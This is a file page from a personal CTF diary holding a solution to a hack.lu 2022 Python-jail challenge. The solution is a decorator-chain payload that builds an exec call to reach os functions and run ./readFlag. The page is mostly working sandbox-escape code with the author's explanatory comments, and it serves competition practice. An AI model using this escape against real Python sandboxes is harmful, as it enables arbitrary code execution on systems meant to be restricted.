Page Menu
Home
desp's stash
Search
Configure Global Search
Log In
Files
F374818
hacklu22.md
No One
Temporary
Actions
View File
Edit File
Delete File
View Transforms
Subscribe
Mute Notifications
Award Token
Flag For Later
Size
5 KB
Subscribers
None
hacklu22.md
View Options
###
culinary
class
room
pyjails
with
decorators
galore
wooo
hopefully
the
comments
are
enough
to
understand
wtf
this
is
doing
lmao
```
py
#
exec
(
"[*vars(__import__('os')).values()][47]('./readFlag')"
)
#
readflag
is
not
right
lmfao
#
call
exec
@
print
@
bytes
#)
&
pass
to
exec
@
license
.
_Printer__filenames
.
__iadd__
@
list
@
str
.
encode
@
chr
@
True
.
real
.
__add__
@
license
.
_Printer__filenames
.
__getitem__
@
True
.
real
.
__add__
@
True
.
real
.
__add__
@
len
@
str
#
"None"
#
'
@
license
.
_Printer__filenames
.
append
@
license
.
_Printer__filenames
.
__getitem__
@
True
.
real
.
__add__
@
True
.
real
.
__add__
@
True
.
real
.
__lshift__
@
len
@
str
#
"None"
#
g
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__add__
@
True
.
real
.
__add__
@
ord
@
list
.
pop
@
list
@
str
#
a
@
license
.
_Printer__filenames
.
append
@
license
.
_Printer__filenames
.
__getitem__
@
True
.
real
.
__rsub__
@
len
@
str
#
None
#
l
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__rsub__
@
True
.
real
.
__rsub__
@
True
.
real
.
__rsub__
@
ord
@
list
.
pop
@
sorted
@
list
@
str
#
F
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__rlshift__
@
True
.
real
.
__rsub__
@
True
.
real
.
__rsub__
@
True
.
real
.
__rsub__
@
True
.
real
.
__rsub__
@
license
.
_Printer__filenames
.
__getitem__
@
True
.
real
.
__add__
@
True
.
real
.
__add__
@
True
.
real
.
__lshift__
@
len
@
str
#
d
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__rsub__
@
ord
@
list
.
pop
@
list
@
str
#
a
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__rsub__
@
True
.
real
.
__rsub__
@
True
.
real
.
__rsub__
@
True
.
real
.
__rsub__
@
ord
@
list
.
pop
@
list
@
str
#
e
@
license
.
_Printer__filenames
.
append
@
ord
@
list
.
pop
@
list
@
str
#
r
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__add__
@
True
.
real
.
__add__
@
True
.
real
.
__add__
@
ord
@
list
.
pop
@
sorted
@
list
@
str
#/
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__rrshift__
@
license
.
_Printer__filenames
.
__getitem__
@
True
.
real
.
__rlshift__
@
len
@
str
#
None
#.
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__rsub__
@
True
.
real
.
__rrshift__
@
license
.
_Printer__filenames
.
__getitem__
@
True
.
real
.
__rlshift__
@
len
@
str
#
None
#
'
@
license
.
_Printer__filenames
.
append
@
license
.
_Printer__filenames
.
__getitem__
@
True
.
real
.
__add__
@
True
.
real
.
__add__
@
True
.
real
.
__lshift__
@
len
@
str
#
"None"
#(
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__rsub__
@
True
.
real
.
__rsub__
@
license
.
_Printer__filenames
.
__getitem__
@
str
.
isascii
@
str
#]
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__add__
@
True
.
real
.
__add__
@
license
.
_Printer__filenames
.
__getitem__
@
str
.
isnumeric
@
str
#
7
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__rsub__
@
True
.
real
.
__rsub__
@
True
.
real
.
__rrshift__
@
license
.
_Printer__filenames
.
__getitem__
@
len
@
str
#
4
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__rrshift__
@
license
.
_Printer__filenames
.
__getitem__
@
True
.
real
.
__add__
@
True
.
real
.
__rlshift__
@
len
@
str
#[
@
license
.
_Printer__filenames
.
append
@
license
.
_Printer__filenames
.
__getitem__
@
str
.
isnumeric
@
str
#]
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__add__
@
True
.
real
.
__add__
@
license
.
_Printer__filenames
.
__getitem__
@
str
.
isnumeric
@
str
#)
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__add__
@
license
.
_Printer__filenames
.
__getitem__
@
True
.
real
.
__add__
@
True
.
real
.
__add__
@
True
.
real
.
__lshift__
@
True
.
real
.
__lshift__
@
str
.
isascii
@
str
#
values
(
@
license
.
_Printer__filenames
.
__iadd__
@
list
@
str
.
encode
@
dict
.
values
.
__name__
.
__add__
@
chr
@
True
.
real
.
__rsub__
@
True
.
real
.
__rsub__
@
license
.
_Printer__filenames
.
__getitem__
@
str
.
isascii
@
str
#.
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__rsub__
@
True
.
real
.
__rrshift__
@
license
.
_Printer__filenames
.
__getitem__
@
True
.
real
.
__rlshift__
@
len
@
str
#
None
#)
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__add__
@
license
.
_Printer__filenames
.
__getitem__
@
True
.
real
.
__add__
@
True
.
real
.
__add__
@
len
@
str
#
"None"
#)
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__add__
@
license
.
_Printer__filenames
.
__getitem__
@
True
.
real
.
__add__
@
True
.
real
.
__add__
@
len
@
str
#
"None"
#
'
@
license
.
_Printer__filenames
.
append
@
license
.
_Printer__filenames
.
__getitem__
@
True
.
real
.
__add__
@
True
.
real
.
__add__
@
True
.
real
.
__lshift__
@
len
@
str
#
"None"
#
s
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__add__
@
True
.
real
.
__add__
@
True
.
real
.
__add__
@
True
.
real
.
__add__
@
True
.
real
.
__add__
@
ord
@
str
.
lower
@
next
@
list
.
__iter__
@
list
@
str
#
"None"
#
o
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__add__
@
ord
@
str
.
lower
#
n
is
really
close
to
o
@
next
#
get
first
char
"N"
@
list
.
__iter__
@
list
@
str
#
"None"
#
'
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__rsub__
@
license
.
_Printer__filenames
.
__getitem__
@
True
.
real
.
__rsub__
@
len
#
__import__
(
@
license
.
_Printer__filenames
.
__iadd__
@
list
@
str
.
encode
@
__import__
.
__name__
.
__add__
@
chr
@
license
.
_Printer__filenames
.
__getitem__
@
True
.
real
.
__rsub__
@
len
#
vars
(
@
license
.
_Printer__filenames
.
__iadd__
@
list
@
str
.
encode
@
vars
.
__name__
.
__add__
@
chr
@
True
.
real
.
__rsub__
@
True
.
real
.
__rsub__
@
license
.
_Printer__filenames
.
__getitem__
@
str
.
isascii
@
str
#*
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__rsub__
@
True
.
real
.
__rsub__
@
True
.
real
.
__rsub__
@
True
.
real
.
__rrshift__
@
license
.
_Printer__filenames
.
__getitem__
@
str
.
isnumeric
@
str
#[
@
license
.
_Printer__filenames
.
append
@
True
.
real
.
__add__
@
True
.
real
.
__rlshift__
@
True
.
real
.
__add__
@
True
.
real
.
__rlshift__
@
True
.
real
.
__rlshift__
@
True
.
real
.
__add__
#
True
.
real
==
1
,
with
which
we
can
make
arbitrary
numbers
with
by
running
functions
on
it
@
len
@
object
.
__name__
.
__add__
@
str
@
list
.
clear
#
clear
it
@
license
.
_Printer__filenames
.
__iadd__
#
we
dont
really
care
we
just
need
the
list
reference
@
str
class
room
:
...
```
File Metadata
Details
Attached
Mime Type
text/plain
Expires
Mon, Aug 4, 9:40 PM (20 h, 10 m)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
d4/ef/4070d37b9f3b9098bc48ae806a34
Attached To
rCTFD CTF diary
Event Timeline
Log In to Comment